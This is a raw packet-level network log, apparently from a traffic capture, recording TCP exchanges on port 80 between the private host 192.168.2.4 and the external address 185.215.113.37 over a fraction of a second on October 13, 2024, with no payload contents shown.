Oct 13, 2024 06:54:08.773865938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773891926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.773891926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.773891926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.773899078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773910046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.773933887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773960114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.773967981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773996115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.773999929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.774033070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.774038076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.774070978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.774094105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.774102926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.774108887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.774116039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.774137020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.774169922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.774202108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.774240017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.774240017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.774240017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.774250984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.774281025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.774285078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.774318933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.774322033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.774341106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.774353981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.774374008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.774415970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.774446011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.774452925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.774476051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.774568081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.790734053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.790765047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.790817022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.790821075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.790868044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.790883064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.790883064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.790904999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.790921926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.790937901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.790952921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.790972948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.791006088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.791065931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.791066885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.791066885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826025963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826076984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826109886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826142073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826175928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826225042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826236010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826236010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826236010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826236010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826266050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826271057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826317072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826324940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826324940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826370955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826395988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826400042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826453924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826503038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826530933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826582909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826606989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826606989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826606989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826606989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826607943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826616049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826648951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826673985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826674938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826702118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826751947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826783895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826817989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826865911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826915026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826919079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826919079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826919079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826919079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826919079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826919079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826948881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.826993942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826993942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.826999903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827034950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827078104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827111959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827159882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827192068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827224970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827246904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827246904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827246904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827246904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827246904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827246904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827258110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827295065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827327013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827341080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827341080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827341080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827359915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827406883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827406883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827414989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827449083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827481031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827497005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827497005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827514887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827564955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827596903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827644110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827677965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827724934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827733994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827733994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827733994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827733994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827733994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827733994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827758074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827792883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827795982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827831030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827862978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827864885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827864885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827881098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827897072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827919006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.827930927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827966928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.827997923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828030109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828052044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828052044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828052044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828052998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828063011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828093052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828095913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828130007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828161001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828190088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828217983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828217983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828217983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828217983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828221083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828254938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828257084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828272104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828289986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828321934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828353882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828386068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828397036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828397036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828397036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828416109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828419924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828440905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828454018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828473091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828490019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828524113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828543901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828545094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828556061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828583002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828589916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828597069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828624010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828658104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828690052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828722000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828732014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828732014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828732014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828749895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828756094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828785896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828790903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828824997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828825951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.828922033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.828922033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.861819983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.861871004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.861922979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.861926079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.861926079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.861974001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.861984015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862010002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862031937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862059116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862061977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862113953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862128019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862164021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862190962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862215042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862241983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862247944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862286091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862301111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862301111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862335920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862375021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862387896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862425089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862445116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862445116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862474918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862494946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862526894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862551928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862555981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862588882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862621069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862621069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862643003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862656116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862690926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862723112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862724066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862724066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862756968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862788916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862817049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862817049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862823009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862833977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862847090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862857103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862890005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862917900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862917900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862922907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862957001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.862958908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862981081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.862991095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.863024950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.863051891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.863054991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.863085985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.863111019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.863118887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.863121986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.863147020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.863154888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.863188982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.863202095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.863202095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.863221884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.863255024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.863265991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.863286018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.863334894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.879471064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.879543066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.879549980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.879581928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.879616022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.879620075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.879651070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.879683018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.879686117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.879709959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.879717112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.879744053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.879751921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.879786968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.879812002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.914756060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.914810896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.914840937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.914872885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.914885998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.914891958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.914943933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.914953947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.914953947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.915030956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.915040016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.915083885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.915103912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.915136099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.915188074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.915189028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.915189028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.915218115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.915266037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.915276051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.915276051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.915321112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.915339947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.915371895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.915397882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.915424109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.915430069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.915474892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.915486097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.915508986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.915544987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.915575981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.915575981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.915576935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.915600061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.915627956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.915642977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.915684938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.915695906 CEST	49730	80	192.168.2.4	185.215.113.37
